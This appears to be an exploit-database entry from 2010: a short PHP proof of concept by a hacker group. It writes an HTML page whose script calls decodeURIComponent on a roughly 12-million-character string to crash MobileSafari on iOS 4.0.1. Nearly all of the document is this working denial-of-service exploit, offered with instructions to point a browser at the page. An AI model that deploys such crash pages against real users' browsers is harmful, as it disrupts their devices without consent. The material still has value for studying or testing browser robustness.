Apple iOS Safari – ‘decodeURIComponent’ Remote Crash
<?php # _ ____ __ __ ___ # (_)____ _ __/ __ \/ /_____ ____/ / _/_/ | # / // __ \ | / / / / / //_/ _ \/ __ / / / / / # / // / / / |/ / /_/ / ,< / __/ /_/ / / / / / # /_//_/ /_/|___/\____/_/|_|\___/\__,_/ / /_/_/ # Live by the byte |_/_/ # # Members: # # Pr0T3cT10n # -=M.o.B.=- # TheLeader # Sro # Debug # # Contact: inv0ked.israel@gmail.com # # ----------------------------------- # The following code is a proof of concept for a crash vulnerability that exists in 'Apple iPhone MobileSafari'. # Point your browser to the created file (crash.html) and see what happen ;) # The vulnerable function is: # * decodeURIComponent("A X 12000085"); # ----------------------------------- # Exploit Title: Apple iPhone Safari (decodeURIComponent) Remote Crash # Date: 19/12/2010 # Author: Pr0T3cT10n # Affected Version: IOS 4.0.1 # Tested on Apple iPhone 3GS, IOS 4.0.1, MobileSafari # Launch Safari, point your browser to the page and safari will crash. # ISRAEL, NULLBYTE.ORG.IL $string = str_repeat('A', 12000085); $code = "<html> <head> <title>Apple iPhone 3 Safari (JavaScript - decodeURIComponent) Remote Crash</title> </head> <script type='text/javascript'> decodeURIComponent('{$string}'); </script> </html>"; if(file_put_contents("./crash.html", $code)) { echo("Point your safari mobile browser to `crash.html`.\r\n"); } else { echo("Cannot create file.\r\n"); } ?> |